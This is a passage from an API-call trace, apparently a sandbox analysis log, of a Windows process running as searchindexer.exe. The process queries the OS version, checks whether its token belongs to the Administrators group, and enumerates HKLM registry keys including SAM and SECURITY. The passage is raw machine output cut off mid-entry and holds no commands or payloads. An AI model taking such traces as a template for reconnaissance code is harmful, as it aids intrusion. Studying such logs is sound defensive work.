(normalized: "c:\\windows\\system32\\searchindexer.exe")) returned 0x25 [0184.180] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240f78 [0184.180] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x24b828 [0184.236] GetVersionExW (in: lpVersionInformation=0x34f9dc*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x34f9dc*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0184.236] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x34f9c4 | out: Wow64Process=0x34f9c4) returned 1 [0184.236] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34f9a0 | out: TokenHandle=0x34f9a0*=0xa0) returned 1 [0184.236] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x34f99c | out: TokenInformation=0x0, ReturnLength=0x34f99c) returned 0 [0184.236] GetLastError () returned 0x7a [0184.236] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x140) returned 0x24b860 [0184.236] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x24b860, TokenInformationLength=0x104, ReturnLength=0x34f99c | out: TokenInformation=0x24b860, ReturnLength=0x34f99c) returned 1 [0184.236] AllocateAndInitializeSid (in: pIdentifierAuthority=0x34f9ac, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x34f9a4 | out: pSid=0x34f9a4*=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x50, [5]=0xa2))) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0184.236] EqualSid (pSid1=0x722860*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x24b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0184.236] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b860) returned 1 [0184.237] NtClose (Handle=0xa0) returned 0x0 [0184.237] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24b860 [0184.238] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24b8a8 [0184.239] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x280) returned 0x24b930 [0184.239] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0184.245] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x24b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bc58 [0184.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x24bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bca0 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc58) returned 1 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bca0) returned 1 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.246] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x24b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bca0 [0184.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x24bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bc58 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bca0) returned 1 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc58) returned 1 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.246] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x24b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bc58 [0184.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x24bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0184.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bca0 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc58) returned 1 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bca0) returned 1 [0184.246] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.247] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x24b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bca0 [0184.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x24bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bc58 [0184.247] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bca0) returned 1 [0184.247] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc58) returned 1 [0184.247] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.247] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x24b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bc58 [0184.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x24bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bca0 [0184.247] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc58) returned 1 [0184.247] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bca0) returned 1 [0184.247] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.247] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f934 | out: phkResult=0x34f934*=0xa0) returned 0x0 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x184) returned 0x24d040 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bca0 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bc58 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bce8 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bd30 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bd78 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bdc0 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24be08 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24be50 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24be98 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bee0 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bf28 [0184.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bf70 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24bfb8 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c000 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c048 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c090 [0184.248] RegCloseKey (hKey=0x80000002) returned 0x0 [0184.248] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x24b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x24c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.248] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.248] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.248] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.248] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x24b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x24c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0184.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.248] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.248] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.249] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x24b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x24c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.249] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x24b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x24c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.249] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x24b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x24c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.249] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x24b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x24c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0184.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.249] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x24b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x24c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.250] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f934 | out: phkResult=0x34f934*=0x24) returned 0x0 [0184.250] RegCloseKey (hKey=0xa0) returned 0x0 [0184.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x24b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x24c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x24b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x24c0d8, cbMultiByte=12, 